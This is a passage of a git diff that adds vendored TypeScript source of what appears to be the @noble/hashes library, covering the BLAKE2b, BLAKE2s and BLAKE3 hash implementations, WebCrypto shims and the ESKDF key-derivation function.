BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = u64.add3L(Al, Bl, Xl); + Ah = u64.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 32) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: u64.rotr32H(Dh, Dl), Dl: u64.rotr32L(Dh, Dl) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = u64.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 24) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: u64.rotrSH(Bh, Bl, 24), Bl: u64.rotrSL(Bh, Bl, 24) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} + +function G2(a: number, b: number, c: number, d: number, msg: Uint32Array, x: number) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + // v[a] = (v[a] + v[b] + x) | 0; + let ll = u64.add3L(Al, Bl, Xl); + Ah = u64.add3H(ll, Ah, Bh, Xh); + Al = ll | 0; + // v[d] = rotr(v[d] ^ v[a], 16) + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: u64.rotrSH(Dh, Dl, 16), Dl: u64.rotrSL(Dh, Dl, 16) }); + // v[c] = (v[c] + v[d]) | 0; + ({ h: Ch, l: Cl } = u64.add(Ch, Cl, Dh, Dl)); + // v[b] = rotr(v[b] ^ v[c], 63) + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: u64.rotrBH(Bh, Bl, 63), Bl: u64.rotrBL(Bh, Bl, 63) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} + +class BLAKE2b extends BLAKE2 { + // Same as SHA-512, but LE + private v0l = IV[0] | 0; + private v0h = IV[1] | 0; + private v1l = IV[2] | 0; + private v1h = IV[3] | 0; + private v2l = IV[4] | 0; + private v2h = IV[5] | 0; + private v3l = IV[6] | 0; + private v3h = IV[7] | 0; + private v4l = IV[8] | 0; + private v4h = IV[9] | 0; + private v5l = IV[10] | 0; + private v5h = IV[11] | 0; + private v6l = IV[12] | 0; + private v6h = IV[13] | 0; + private v7l = IV[14] | 0; + private v7h = IV[15] | 0; + + constructor(opts: BlakeOpts = {}) { + super(128, opts.dkLen === undefined ? 64 : opts.dkLen, opts, 64, 16, 16); + const keyLength = opts.key ? opts.key.length : 0; + this.v0l ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = u32(toBytes(opts.salt)); + this.v4l ^= salt[0]; + this.v4h ^= salt[1]; + this.v5l ^= salt[2]; + this.v5h ^= salt[3]; + } + if (opts.personalization) { + const pers = u32(toBytes(opts.personalization)); + this.v6l ^= pers[0]; + this.v6h ^= pers[1]; + this.v7l ^= pers[2]; + this.v7h ^= pers[3]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set(toBytes(opts.key)); + this.update(tmp); + } + } + // prettier-ignore + protected get(): [ + number, number, number, number, number, number, number, number, + number, number, number, number, number, number, number, number + ] { + let {v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h} = this; + return [v0l, v0h, v1l, v1h, v2l, v2h, v3l, v3h, v4l, v4h, v5l, v5h, v6l, v6h, v7l, v7h]; + } + // prettier-ignore + protected set( + v0l: number, v0h: number, v1l: number, v1h: number, + v2l: number, v2h: number, v3l: number, v3h: number, + v4l: number, v4h: number, v5l: number, v5h: number, + v6l: number, v6h: number, v7l: number, v7h: number + ) { + this.v0l = v0l | 0; + this.v0h = v0h | 0; + this.v1l = v1l | 0; + this.v1h = v1h | 0; + this.v2l = v2l | 0; + this.v2h = v2h | 0; + this.v3l = v3l | 0; + this.v3h = v3h | 0; + this.v4l = v4l | 0; + this.v4h = v4h | 0; + this.v5l = v5l | 0; + this.v5h = v5h | 0; + this.v6l = v6l | 0; + this.v6h = v6h | 0; + this.v7l = v7l | 0; + this.v7h = v7h | 0; + } + protected compress(msg: Uint32Array, offset: number, isLast: boolean) { + this.get().forEach((v, i) => (BUF[i] = v)); // First half from state. + BUF.set(IV, 16); // Second half from IV. + let { h, l } = u64.fromBig(BigInt(this.length)); + BUF[24] = IV[8] ^ l; // Low word of the offset. + BUF[25] = IV[9] ^ h; // High word. + // Invert all bits for last block + if (isLast) { + BUF[28] = ~BUF[28]; + BUF[29] = ~BUF[29]; + } + let j = 0; + const s = SIGMA; + for (let i = 0; i < 12; i++) { + G1(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G2(0, 4, 8, 12, msg, offset + 2 * s[j++]); + G1(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G2(1, 5, 9, 13, msg, offset + 2 * s[j++]); + G1(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G2(2, 6, 10, 14, msg, offset + 2 * s[j++]); + G1(3, 7, 11, 15, msg, offset + 2 * s[j++]); + G2(3, 7, 11, 15, msg, offset + 2 * s[j++]); + + G1(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G2(0, 5, 10, 15, msg, offset + 2 * s[j++]); + G1(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G2(1, 6, 11, 12, msg, offset + 2 * s[j++]); + G1(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G2(2, 7, 8, 13, msg, offset + 2 * s[j++]); + G1(3, 4, 9, 14, msg, offset + 2 * s[j++]); + G2(3, 4, 9, 14, msg, offset + 2 * s[j++]); + } + this.v0l ^= BUF[0] ^ BUF[16]; + this.v0h ^= BUF[1] ^ BUF[17]; + this.v1l ^= BUF[2] ^ BUF[18]; + this.v1h ^= BUF[3] ^ BUF[19]; + this.v2l ^= BUF[4] ^ BUF[20]; + this.v2h ^= BUF[5] ^ BUF[21]; + this.v3l ^= BUF[6] ^ BUF[22]; + this.v3h ^= BUF[7] ^ BUF[23]; + this.v4l ^= BUF[8] ^ BUF[24]; + this.v4h ^= BUF[9] ^ BUF[25]; + this.v5l ^= BUF[10] ^ BUF[26]; + this.v5h ^= BUF[11] ^ BUF[27]; + this.v6l ^= BUF[12] ^ BUF[28]; + this.v6h ^= BUF[13] ^ BUF[29]; + this.v7l ^= BUF[14] ^ BUF[30]; + this.v7h ^= BUF[15] ^ BUF[31]; + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} + +/** + * BLAKE2b - optimized for 64-bit platforms. JS doesn't have uint64, so it's slower than BLAKE2s. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export const blake2b = /* @__PURE__ */ wrapConstructorWithOpts( + (opts) => new BLAKE2b(opts) +); diff --git a/node_modules/@noble/hashes/src/blake2s.ts b/node_modules/@noble/hashes/src/blake2s.ts new file mode 100644 index 000000000000..a60988613336 --- /dev/null +++ b/node_modules/@noble/hashes/src/blake2s.ts @@ -0,0 +1,136 @@ +import { BLAKE2, BlakeOpts, SIGMA } from './_blake2.js'; +import { fromBig } from './_u64.js'; +import { rotr, toBytes, wrapConstructorWithOpts, u32 } from './utils.js'; + +// Initial state: +// first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19) +// same as SHA-256 +// prettier-ignore +export const IV = /* @__PURE__ */new Uint32Array([0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]); + +// Mixing function G splitted in two halfs +function G1(a: number, b: number, c: number, d: number, x: number) { + a = (a + b + x) | 0; + d = rotr(d ^ a, 16); + c = (c + d) | 0; + b = rotr(b ^ c, 12); + return { a, b, c, d }; +} + +function G2(a: number, b: number, c: number, d: number, x: number) { + a = (a + b + x) | 0; + d = rotr(d ^ a, 8); + c = (c + d) | 0; + b = rotr(b ^ c, 7); + return { a, b, c, d }; +} +// prettier-ignore +export function compress(s: Uint8Array, offset: number, msg: Uint32Array, rounds: number, + v0: number, v1: number, v2: number, v3: number, v4: number, v5: number, v6: number, v7: number, + v8: number, v9: number, v10: number, v11: number, v12: number, v13: number, v14: number, v15: number, +) { + let j = 0; + for (let i = 0; i < rounds; i++) { + ({ a: v0, b: v4, c: v8, d: v12 } = G1(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v0, b: v4, c: v8, d: v12 } = G2(v0, v4, v8, v12, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G1(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v1, b: v5, c: v9, d: v13 } = G2(v1, v5, v9, v13, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G1(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v2, b: v6, c: v10, d: v14 } = G2(v2, v6, v10, v14, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G1(v3, v7, v11, v15, msg[offset + s[j++]])); + ({ a: v3, b: v7, c: v11, d: v15 } = G2(v3, v7, v11, v15, msg[offset + s[j++]])); + + ({ a: v0, b: v5, c: v10, d: v15 } = G1(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v0, b: v5, c: v10, d: v15 } = G2(v0, v5, v10, v15, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G1(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v1, b: v6, c: v11, d: v12 } = G2(v1, v6, v11, v12, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G1(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v2, b: v7, c: v8, d: v13 } = G2(v2, v7, v8, v13, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G1(v3, v4, v9, v14, msg[offset + s[j++]])); + ({ a: v3, b: v4, c: v9, d: v14 } = G2(v3, v4, v9, v14, msg[offset + s[j++]])); + } + return { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 }; +} + +class BLAKE2s extends BLAKE2 { + // Internal state, same as SHA-256 + private v0 = IV[0] | 0; + private v1 = IV[1] | 0; + private v2 = IV[2] | 0; + private v3 = IV[3] | 0; + private v4 = IV[4] | 0; + private v5 = IV[5] | 0; + private v6 = IV[6] | 0; + private v7 = IV[7] | 0; + + constructor(opts: BlakeOpts = {}) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, opts, 32, 8, 8); + const keyLength = opts.key ? opts.key.length : 0; + this.v0 ^= this.outputLen | (keyLength << 8) | (0x01 << 16) | (0x01 << 24); + if (opts.salt) { + const salt = u32(toBytes(opts.salt)); + this.v4 ^= salt[0]; + this.v5 ^= salt[1]; + } + if (opts.personalization) { + const pers = u32(toBytes(opts.personalization)); + this.v6 ^= pers[0]; + this.v7 ^= pers[1]; + } + if (opts.key) { + // Pad to blockLen and update + const tmp = new Uint8Array(this.blockLen); + tmp.set(toBytes(opts.key)); + this.update(tmp); + } + } + protected get(): [number, number, number, number, number, number, number, number] { + const { v0, v1, v2, v3, v4, v5, v6, v7 } = this; + return [v0, v1, v2, v3, v4, v5, v6, v7]; + } + // prettier-ignore + protected set( + v0: number, v1: number, v2: number, v3: number, v4: number, v5: number, v6: number, v7: number + ) { + this.v0 = v0 | 0; + this.v1 = v1 | 0; + this.v2 = v2 | 0; + this.v3 = v3 | 0; + this.v4 = v4 | 0; + this.v5 = v5 | 0; + this.v6 = v6 | 0; + this.v7 = v7 | 0; + } + protected compress(msg: Uint32Array, offset: number, isLast: boolean) { + const { h, l } = fromBig(BigInt(this.length)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = + compress( + SIGMA, offset, msg, 10, + this.v0, this.v1, this.v2, this.v3, this.v4, this.v5, this.v6, this.v7, + IV[0], IV[1], IV[2], IV[3], l ^ IV[4], h ^ IV[5], isLast ? ~IV[6] : IV[6], IV[7] + ); + this.v0 ^= v0 ^ v8; + this.v1 ^= v1 ^ v9; + this.v2 ^= v2 ^ v10; + this.v3 ^= v3 ^ v11; + this.v4 ^= v4 ^ v12; + this.v5 ^= v5 ^ v13; + this.v6 ^= v6 ^ v14; + this.v7 ^= v7 ^ v15; + } + destroy() { + this.destroyed = true; + this.buffer32.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0); + } +} + +/** + * BLAKE2s - optimized for 32-bit platforms. JS doesn't have uint64, so it's faster than BLAKE2b. + * @param msg - message that would be hashed + * @param opts - dkLen, key, salt, personalization + */ +export const blake2s = /* @__PURE__ */ wrapConstructorWithOpts( + (opts) => new BLAKE2s(opts) +); diff --git a/node_modules/@noble/hashes/src/blake3.ts b/node_modules/@noble/hashes/src/blake3.ts new file mode 100644 index 000000000000..01d7d5440fef --- /dev/null +++ b/node_modules/@noble/hashes/src/blake3.ts @@ -0,0 +1,250 @@ +import { bytes, exists, number, output } from './_assert.js'; +import { fromBig } from './_u64.js'; +import { BLAKE2 } from './_blake2.js'; +import { compress, IV } from './blake2s.js'; +import { Input, u8, u32, toBytes, HashXOF, wrapXOFConstructorWithOpts } from './utils.js'; + +// Blake3 is single-option Blake2 with reduced security (round count). + +// Flag bitset +const enum Flags { + CHUNK_START = 1 << 0, + CHUNK_END = 1 << 1, + PARENT = 1 << 2, + ROOT = 1 << 3, + KEYED_HASH = 1 << 4, + DERIVE_KEY_CONTEXT = 1 << 5, + DERIVE_KEY_MATERIAL = 1 << 6, +} + +const SIGMA: Uint8Array = /* @__PURE__ */ (() => { + const Id = Array.from({ length: 16 }, (_, i) => i); + const permute = (arr: number[]) => + [2, 6, 3, 10, 7, 0, 4, 13, 1, 11, 12, 5, 9, 14, 15, 8].map((i) => arr[i]); + const res: number[] = []; + for (let i = 0, v = Id; i < 7; i++, v = permute(v)) res.push(...v); + return Uint8Array.from(res); +})(); + +// - key: is 256-bit key +// - context: string should be hardcoded, globally unique, and application - specific. +// A good default format for the context string is "[application] [commit timestamp] [purpose]" +// - Only one of 'key' (keyed mode) or 'context' (derive key mode) can be used at same time +export type Blake3Opts = { dkLen?: number; key?: Input; context?: Input }; + +// Why is this so slow? It should be 6x faster than blake2b. +// - There is only 30% reduction in number of rounds from blake2s +// - This function uses tree mode to achive parallelisation via SIMD and threading, +// however in JS we don't have threads and SIMD, so we get only overhead from tree structure +// - It is possible to speed it up via Web Workers, hovewer it will make code singnificantly more +// complicated, which we are trying to avoid, since this library is intended to be used +// for cryptographic purposes. Also, parallelization happens only on chunk level (1024 bytes), +// which won't really benefit small inputs. +class BLAKE3 extends BLAKE2 implements HashXOF { + private IV: Uint32Array; + private flags = 0 | 0; + private state: Uint32Array; + private chunkPos = 0; // Position of current block in chunk + private chunksDone = 0; // How many chunks we already have + private stack: Uint32Array[] = []; + // Output + private posOut = 0; + private bufferOut32 = new Uint32Array(16); + private bufferOut: Uint8Array; + private chunkOut = 0; // index of output chunk + private enableXOF = true; + + constructor(opts: Blake3Opts = {}, flags = 0) { + super(64, opts.dkLen === undefined ? 32 : opts.dkLen, {}, Number.MAX_SAFE_INTEGER, 0, 0); + this.outputLen = opts.dkLen === undefined ? 32 : opts.dkLen; + number(this.outputLen); + if (opts.key !== undefined && opts.context !== undefined) + throw new Error('Blake3: only key or context can be specified at same time'); + else if (opts.key !== undefined) { + const key = toBytes(opts.key).slice(); + if (key.length !== 32) throw new Error('Blake3: key should be 32 byte'); + this.IV = u32(key); + this.flags = flags | Flags.KEYED_HASH; + } else if (opts.context !== undefined) { + const context_key = new BLAKE3({ dkLen: 32 }, Flags.DERIVE_KEY_CONTEXT) + .update(opts.context) + .digest(); + this.IV = u32(context_key); + this.flags = flags | Flags.DERIVE_KEY_MATERIAL; + } else { + this.IV = IV.slice(); + this.flags = flags; + } + this.state = this.IV.slice(); + this.bufferOut = u8(this.bufferOut32); + } + // Unused + protected get() { + return []; + } + protected set() {} + private b2Compress(counter: number, flags: number, buf: Uint32Array, bufPos: number = 0) { + const { state: s, pos } = this; + const { h, l } = fromBig(BigInt(counter), true); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = + compress( + SIGMA, bufPos, buf, 7, + s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], + IV[0], IV[1], IV[2], IV[3], h, l, pos, flags + ); + s[0] = v0 ^ v8; + s[1] = v1 ^ v9; + s[2] = v2 ^ v10; + s[3] = v3 ^ v11; + s[4] = v4 ^ v12; + s[5] = v5 ^ v13; + s[6] = v6 ^ v14; + s[7] = v7 ^ v15; + } + protected compress(buf: Uint32Array, bufPos: number = 0, isLast: boolean = false) { + // Compress last block + let flags = this.flags; + if (!this.chunkPos) flags |= Flags.CHUNK_START; + if (this.chunkPos === 15 || isLast) flags |= Flags.CHUNK_END; + if (!isLast) this.pos = this.blockLen; + this.b2Compress(this.chunksDone, flags, buf, bufPos); + this.chunkPos += 1; + // If current block is last in chunk (16 blocks), then compress chunks + if (this.chunkPos === 16 || isLast) { + let chunk = this.state; + this.state = this.IV.slice(); + // If not the last one, compress only when there are trailing zeros in chunk counter + // chunks used as binary tree where current stack is path. Zero means current leaf is finished and can be compressed. + // 1 (001) - leaf not finished (just push current chunk to stack) + // 2 (010) - leaf finished at depth=1 (merge with last elm on stack and push back) + // 3 (011) - last leaf not finished + // 4 (100) - leafs finished at depth=1 and depth=2 + for (let last, chunks = this.chunksDone + 1; isLast || !(chunks & 1); chunks >>= 1) { + if (!(last = this.stack.pop())) break; + this.buffer32.set(last, 0); + this.buffer32.set(chunk, 8); + this.pos = this.blockLen; + this.b2Compress(0, this.flags | Flags.PARENT, this.buffer32, 0); + chunk = this.state; + this.state = this.IV.slice(); + } + this.chunksDone++; + this.chunkPos = 0; + this.stack.push(chunk); + } + this.pos = 0; + } + _cloneInto(to?: BLAKE3): BLAKE3 { + to = super._cloneInto(to) as BLAKE3; + const { IV, flags, state, chunkPos, posOut, chunkOut, stack, chunksDone } = this; + to.state.set(state.slice()); + to.stack = stack.map((i) => Uint32Array.from(i)); + to.IV.set(IV); + to.flags = flags; + to.chunkPos = chunkPos; + to.chunksDone = chunksDone; + to.posOut = posOut; + to.chunkOut = chunkOut; + to.enableXOF = this.enableXOF; + to.bufferOut32.set(this.bufferOut32); + return to; + } + destroy() { + this.destroyed = true; + this.state.fill(0); + this.buffer32.fill(0); + this.IV.fill(0); + this.bufferOut32.fill(0); + for (let i of this.stack) i.fill(0); + } + // Same as b2Compress, but doesn't modify state and returns 16 u32 array (instead of 8) + private b2CompressOut() { + const { state: s, pos, flags, buffer32, bufferOut32: out32 } = this; + const { h, l } = fromBig(BigInt(this.chunkOut++)); + // prettier-ignore + const { v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15 } = + compress( + SIGMA, 0, buffer32, 7, + s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], + IV[0], IV[1], IV[2], IV[3], l, h, pos, flags + ); + out32[0] = v0 ^ v8; + out32[1] = v1 ^ v9; + out32[2] = v2 ^ v10; + out32[3] = v3 ^ v11; + out32[4] = v4 ^ v12; + out32[5] = v5 ^ v13; + out32[6] = v6 ^ v14; + out32[7] = v7 ^ v15; + out32[8] = s[0] ^ v8; + out32[9] = s[1] ^ v9; + out32[10] = s[2] ^ v10; + out32[11] = s[3] ^ v11; + out32[12] = s[4] ^ v12; + out32[13] = s[5] ^ v13; + out32[14] = s[6] ^ v14; + out32[15] = s[7] ^ v15; + this.posOut = 0; + } + protected finish() { + if (this.finished) return; + this.finished = true; + // Padding + this.buffer.fill(0, this.pos); + // Process last chunk + let flags = this.flags | Flags.ROOT; + if (this.stack.length) { + flags |= Flags.PARENT; + this.compress(this.buffer32, 0, true); + this.chunksDone = 0; + this.pos = this.blockLen; + } else { + flags |= (!this.chunkPos ? Flags.CHUNK_START : 0) | Flags.CHUNK_END; + } + this.flags = flags; + this.b2CompressOut(); + } + private writeInto(out: Uint8Array) { + exists(this, false); + bytes(out); + this.finish(); + const { blockLen, bufferOut } = this; + for (let pos = 0, len = out.length; pos < len; ) { + if (this.posOut >= blockLen) this.b2CompressOut(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out: Uint8Array): Uint8Array { + if (!this.enableXOF) throw new Error('XOF is not possible after digest call'); + return this.writeInto(out); + } + xof(bytes: number): Uint8Array { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out: Uint8Array) { + output(out, this); + if (this.finished) throw new Error('digest() was already called'); + this.enableXOF = false; + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } +} + +/** + * BLAKE3 hash function. + * @param msg - message that would be hashed + * @param opts - dkLen, key, context + */ +export const blake3 = /* @__PURE__ */ wrapXOFConstructorWithOpts( + (opts) => new BLAKE3(opts) +); diff --git a/node_modules/@noble/hashes/src/crypto.ts b/node_modules/@noble/hashes/src/crypto.ts new file mode 100644 index 000000000000..eaea6bef2c38 --- /dev/null +++ b/node_modules/@noble/hashes/src/crypto.ts @@ -0,0 +1,5 @@ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// See utils.ts for details. +declare const globalThis: Record | undefined; +export const crypto = + typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined; diff --git a/node_modules/@noble/hashes/src/cryptoNode.ts b/node_modules/@noble/hashes/src/cryptoNode.ts new file mode 100644 index 000000000000..6fdba9ec9f37 --- /dev/null +++ b/node_modules/@noble/hashes/src/cryptoNode.ts @@ -0,0 +1,7 @@ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// See utils.ts for details. +// The file will throw on node.js 14 and earlier. +// @ts-ignore +import * as nc from 'node:crypto'; +export const crypto = + nc && typeof nc === 'object' && 'webcrypto' in nc ? (nc.webcrypto as any) : undefined; diff --git a/node_modules/@noble/hashes/src/eskdf.ts b/node_modules/@noble/hashes/src/eskdf.ts new file mode 100644 index 000000000000..b4c224b1118e --- /dev/null +++ b/node_modules/@noble/hashes/src/eskdf.ts @@ -0,0 +1,183 @@ +import { bytes as assertBytes } from './_assert.js'; +import { hkdf } from './hkdf.js'; +import { sha256 } from './sha256.js'; +import { pbkdf2 as _pbkdf2 } from './pbkdf2.js'; +import { scrypt as _scrypt } from './scrypt.js'; +import { bytesToHex, createView, hexToBytes, toBytes } from './utils.js'; + +// A tiny KDF for various applications like AES key-gen. +// Uses HKDF in a non-standard way, so it's not "KDF-secure", only "PRF-secure". +// Which is good enough: assume sha2-256 retained preimage resistance. + +const SCRYPT_FACTOR = 2 ** 19; +const PBKDF2_FACTOR = 2 ** 17; + +// Scrypt KDF +export function scrypt(password: string, salt: string): Uint8Array { + return _scrypt(password, salt, { N: SCRYPT_FACTOR, r: 8, p: 1, dkLen: 32 }); +} + +// PBKDF2-HMAC-SHA256 +export function pbkdf2(password: string, salt: string): Uint8Array { + return _pbkdf2(sha256, password, salt, { c: PBKDF2_FACTOR, dkLen: 32 }); +} + +// Combines two 32-byte byte arrays +function xor32(a: Uint8Array, b: Uint8Array): Uint8Array { + assertBytes(a, 32); + assertBytes(b, 32); + const arr = new Uint8Array(32); + for (let i = 0; i < 32; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} + +function strHasLength(str: string, min: number, max: number): boolean { + return typeof str === 'string' && str.length >= min && str.length <= max; +} + +/** + * Derives main seed. Takes a lot of time. Prefer `eskdf` method instead. + */ +export function deriveMainSeed(username: string, password: string): Uint8Array { + if (!strHasLength(username, 8, 255)) throw new Error('invalid username'); + if (!strHasLength(password, 8, 255)) throw new Error('invalid password'); + const scr = scrypt(password + '\u{1}', username + '\u{1}'); + const pbk = pbkdf2(password + '\u{2}', username + '\u{2}'); + const res = xor32(scr, pbk); + scr.fill(0); + pbk.fill(0); + return res; +} + +type AccountID = number | string; + +/** + * Converts protocol & accountId pair to HKDF salt & info params. + */ +function getSaltInfo(protocol: string, accountId: AccountID = 0) { + // Note that length here also repeats two lines below + // We do an additional length check here to reduce the scope of DoS attacks + if (!(strHasLength(protocol, 3, 15) && /^[a-z0-9]{3,15}$/.test(protocol))) { + throw new Error('invalid protocol'); + } + + // Allow string account ids for some protocols + const allowsStr = /^password\d{0,3}|ssh|tor|file$/.test(protocol); + let salt: Uint8Array; // Extract salt. Default is undefined. + if (typeof accountId === 'string') { + if (!allowsStr) throw new Error('accountId must be a number'); + if (!strHasLength(accountId, 1, 255)) throw new Error('accountId must be valid string'); + salt = toBytes(accountId); + } else if (Number.isSafeInteger(accountId)) { + if (accountId < 0 || accountId > 2 ** 32 - 1) throw new Error('invalid accountId'); + // Convert to Big Endian Uint32 + salt = new Uint8Array(4); + createView(salt).setUint32(0, accountId, false); + } else { + throw new Error(`accountId must be a number${allowsStr ? ' or string' : ''}`); + } + const info = toBytes(protocol); + return { salt, info }; +} + +type OptsLength = { keyLength: number }; +type OptsMod = { modulus: bigint }; +type KeyOpts = undefined | OptsLength | OptsMod; + +function countBytes(num: bigint): number { + if (typeof num !== 'bigint' || num <= BigInt(128)) throw new Error('invalid number'); + return Math.ceil(num.toString(2).length / 8); +} + +/** + * Parses keyLength and modulus options to extract length of result key. + * If modulus is used, adds 64 bits to it as per FIPS 186 B.4.1 to combat modulo bias. + */ +function getKeyLength(options: KeyOpts): number { + if (!options || typeof options !== 'object') return 32; + const hasLen = 'keyLength' in options; + const hasMod = 'modulus' in options; + if (hasLen && hasMod) throw new Error('cannot combine keyLength and modulus options'); + if (!hasLen && !hasMod) throw new Error('must have either keyLength or modulus option'); + // FIPS 186 B.4.1 requires at least 64 more bits + const l = hasMod ? countBytes(options.modulus) + 8 : options.keyLength; + if (!(typeof l === 'number' && l >= 16 && l <= 8192)) throw new Error('invalid keyLength'); + return l; +} + +/** + * Converts key to bigint and divides it by modulus. Big Endian. + * Implements FIPS 186 B.4.1, which removes 0 and modulo bias from output. + */ +function modReduceKey(key: Uint8Array, modulus: bigint): Uint8Array { + const _1 = BigInt(1); + const num = BigInt('0x' + bytesToHex(key)); // check for ui8a, then bytesToNumber() + const res = (num % (modulus - _1)) + _1; // Remove 0 from output + if (res < _1) throw new Error('expected positive number'); // Guard against bad values + const len = key.length - 8; // FIPS requires 64 more bits = 8 bytes + const hex = res.toString(16).padStart(len * 2, '0'); // numberToHex() + const bytes = hexToBytes(hex); + if (bytes.length !== len) throw new Error('invalid length of result key'); + return bytes; +} + +// We are not using classes because constructor cannot be async +type ESKDF = Promise< + Readonly<{ + /** + * Derives a child key. Child key will not be associated with any + * other child key because of properties of underlying KDF. + * + * @param protocol - 3-15 character protocol name + * @param accountId - numeric identifier of account + * @param options - `keyLength: 64` or `modulus: 41920438n` + * @example deriveChildKey('aes', 0) + */ + deriveChildKey: (protocol: string, accountId: AccountID, options?: KeyOpts) => Uint8Array; + /** + * Deletes the main seed from eskdf instance + */ + expire: () => void; + /** + * Account fingerprint + */ + fingerprint: string; + }> +>; + +/** + * ESKDF + * @param username - username, email, or identifier, min: 8 characters, should have enough entropy + * @param password - password, min: 8 characters, should have enough entropy + * @example + * const kdf = await eskdf('example-university', 'beginning-new-example'); + * const key = kdf.deriveChildKey('aes', 0); + * console.log(kdf.fingerprint); + * kdf.expire(); + */ +export async function eskdf(username: string, password: string): ESKDF { + // We are using closure + object instead of class because + // we want to make `seed` non-accessible for any external function. + let seed: Uint8Array | undefined = deriveMainSeed(username, password); + + function deriveCK(protocol: string, accountId: AccountID = 0, options?: KeyOpts): Uint8Array { + assertBytes(seed, 32); + const { salt, info } = getSaltInfo(protocol, accountId); // validate protocol & accountId + const keyLength = getKeyLength(options); // validate options + const key = hkdf(sha256, seed!, salt, info, keyLength); + // Modulus has already been validated + return options && 'modulus' in options ? modReduceKey(key, options.modulus) : key; + } + function expire() { + if (seed) seed.fill(1); + seed = undefined; + } + // prettier-ignore + const fingerprint = Array.from(deriveCK('fingerprint', 0)) + .slice(0, 6) + .map((char) => char.toString(16).padStart(2, '0').toUpperCase()) + .join(':'); + return Object.freeze({ deriveChildKey: deriveCK, expire, fingerprint }); +} diff --git a/node_modules/@noble/hashes/src/hkdf.ts b/node_modules/@noble/hashes/src/hkdf.ts new file mode 100644 index 000000000000..6d880d1afff2 --- /dev/null +++ 